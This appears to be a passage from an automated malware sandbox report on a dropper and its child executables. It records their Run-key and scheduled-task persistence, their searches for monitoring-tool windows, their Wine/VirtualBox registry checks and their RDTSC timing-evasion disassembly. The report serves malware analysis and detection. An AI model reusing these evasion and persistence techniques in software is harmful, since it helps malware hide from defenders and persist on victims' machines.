Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df757a3a2c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df757a3a2c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea19c894e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea19c894e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 582b1c6d88.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 582b1c6d88.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF59E second address: 6DEE85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b mov ebx, dword ptr [ebp+122D1C91h] 0x00000011 jmp 00007F6CDCCD27C6h 0x00000016 popad 0x00000017 push dword ptr [ebp+122D0E09h] 0x0000001d clc 0x0000001e call dword ptr [ebp+122D2786h] 0x00000024 pushad 0x00000025 jmp 00007F6CDCCD27BCh 0x0000002a pushad 0x0000002b mov esi, dword ptr [ebp+122D3A30h] 0x00000031 popad 0x00000032 xor eax, eax 0x00000034 pushad 0x00000035 push eax 0x00000036 push eax 0x00000037 pop edx 0x00000038 pop ecx 0x00000039 mov si, cx 0x0000003c popad 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 add dword ptr [ebp+122D26DAh], ebx 0x00000047 mov dword ptr [ebp+122D3B2Ch], eax 0x0000004d sub dword ptr [ebp+122D26DAh], ecx 0x00000053 mov esi, 0000003Ch 0x00000058 stc 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d or dword ptr [ebp+122D26DAh], esi 0x00000063 xor dword ptr [ebp+122D26DAh], edx 0x00000069 lodsw 0x0000006b jp 00007F6CDCCD27BCh 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 mov dword ptr [ebp+122D26DAh], eax 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f stc 0x00000080 nop 0x00000081 push eax 0x00000082 push edx 0x00000083 push ecx 0x00000084 pushad 0x00000085 popad 0x00000086 pop ecx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE85 second address: 6DEEB1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F6CDCB9DDFFh 0x00000011 jmp 00007F6CDCB9DE00h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8416C6 second address: 8416E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6CDCCD27B6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6CDCCD27C2h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B1F3 second address: 85B1FD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6CDCB9DDF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B5E4 second address: 85B5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B5E9 second address: 85B5FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6CDCB9DE00h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B5FE second address: 85B606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E8B2 second address: 85E8C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DDFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E8C1 second address: 85E96C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b jnc 00007F6CDCCD27B6h 0x00000011 pop eax 0x00000012 jns 00007F6CDCCD27B8h 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jl 00007F6CDCCD27C2h 0x00000023 jne 00007F6CDCCD27BCh 0x00000029 mov eax, dword ptr [eax] 0x0000002b jmp 00007F6CDCCD27BDh 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 jmp 00007F6CDCCD27C6h 0x00000039 pop eax 0x0000003a pushad 0x0000003b jmp 00007F6CDCCD27C0h 0x00000040 jmp 00007F6CDCCD27C5h 0x00000045 popad 0x00000046 push 00000003h 0x00000048 mov ecx, dword ptr [ebp+122D3A78h] 0x0000004e push 00000000h 0x00000050 jbe 00007F6CDCCD27B6h 0x00000056 push 00000003h 0x00000058 mov dx, cx 0x0000005b jmp 00007F6CDCCD27BBh 0x00000060 push FB30628Ch 0x00000065 pushad 0x00000066 push edi 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E96C second address: 85E9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F6CDCB9DE06h 0x0000000a popad 0x0000000b xor dword ptr [esp], 3B30628Ch 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F6CDCB9DDF8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c xor ecx, dword ptr [ebp+122D3C78h] 0x00000032 lea ebx, dword ptr [ebp+12453523h] 0x00000038 jmp 00007F6CDCB9DE05h 0x0000003d xchg eax, ebx 0x0000003e jmp 00007F6CDCB9DE01h 0x00000043 push eax 0x00000044 jg 00007F6CDCB9DE20h 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F6CDCB9DDFFh 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FEB4 second address: 87FEBC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FEBC second address: 87FEC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E156 second address: 87E162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F6CDCCD27B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E162 second address: 87E19F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6CDCB9DDF6h 0x00000008 jmp 00007F6CDCB9DE00h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007F6CDCB9DE09h 0x00000015 jmp 00007F6CDCB9DDFDh 0x0000001a jng 00007F6CDCB9DDF6h 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E19F second address: 87E1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E1A3 second address: 87E1BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE08h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E1BF second address: 87E1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F6CDCCD27BEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E48D second address: 87E49B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E870 second address: 87E876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E876 second address: 87E87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E87A second address: 87E89E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jbe 00007F6CDCCD27B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007F6CDCCD27B6h 0x00000013 jmp 00007F6CDCCD27C0h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E89E second address: 87E8B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE00h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E8B4 second address: 87E8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E8BA second address: 87E8BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE23 second address: 87EE2D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE2D second address: 87EE31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE31 second address: 87EE37 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE37 second address: 87EE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE43 second address: 87EE47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE47 second address: 87EE85 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F6CDCB9DE09h 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F6CDCB9DDFAh 0x00000018 jl 00007F6CDCB9DDF6h 0x0000001e jp 00007F6CDCB9DDF6h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE85 second address: 87EE8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EE8A second address: 87EEB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6CDCB9DDF6h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jns 00007F6CDCB9DDF6h 0x00000016 jmp 00007F6CDCB9DE06h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853DD3 second address: 853DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6CDCCD27B6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F051 second address: 87F071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6CDCB9DE07h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855929 second address: 855944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCCD27C5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855944 second address: 855948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
